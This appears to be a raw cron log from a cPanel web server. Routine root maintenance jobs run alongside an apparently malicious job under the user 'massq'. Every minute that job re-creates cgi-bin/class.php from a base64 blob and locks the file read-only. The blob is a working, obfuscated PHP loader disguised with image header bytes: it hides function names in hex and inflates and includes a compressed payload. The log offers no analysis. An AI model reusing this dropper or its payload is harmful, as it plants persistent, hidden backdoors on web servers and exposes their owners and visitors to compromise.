Sep 12 09:42:01 server CROND[32680]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:42:01 server CROND[32681]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:42:01 server CROND[32682]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:42:01 server CROND[32683]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 09:43:01 server CROND[741]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:43:01 server CROND[747]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:43:01 server CROND[744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:44:01 server CROND[1201]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:44:01 server CROND[1202]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:44:01 server CROND[1204]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:45:01 server CROND[1648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:45:01 server CROND[1650]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:45:01 server CROND[1652]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 09:45:01 server CROND[1653]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 09:45:01 server CROND[1651]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 09:45:01 server CROND[1654]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 09:45:01 server CROND[1655]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:46:01 server CROND[2533]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:46:01 server CROND[2534]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:46:01 server CROND[2535]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:47:01 server CROND[2958]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:47:01 server CROND[2959]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:47:01 server CROND[2960]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:48:01 server CROND[3442]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:48:01 server CROND[3443]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:48:01 server CROND[3444]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:49:01 server CROND[3830]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:49:01 server CROND[3831]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:49:01 server CROND[3832]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:50:01 server CROND[4221]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 09:50:01 server CROND[4222]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 09:50:01 server CROND[4226]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 09:50:01 server CROND[4234]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:50:01 server CROND[4245]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 09:50:01 server CROND[4248]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:50:01 server CROND[4240]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 09:50:01 server CROND[4239]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 09:50:01 server CROND[4246]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:51:01 server CROND[5096]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:51:01 server CROND[5097]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:51:01 server CROND[5098]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:52:01 server CROND[5494]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:52:01 server CROND[5495]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:52:01 server CROND[5496]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:53:01 server CROND[5967]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:53:01 server CROND[5969]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:53:01 server CROND[5968]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:54:01 server CROND[6349]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
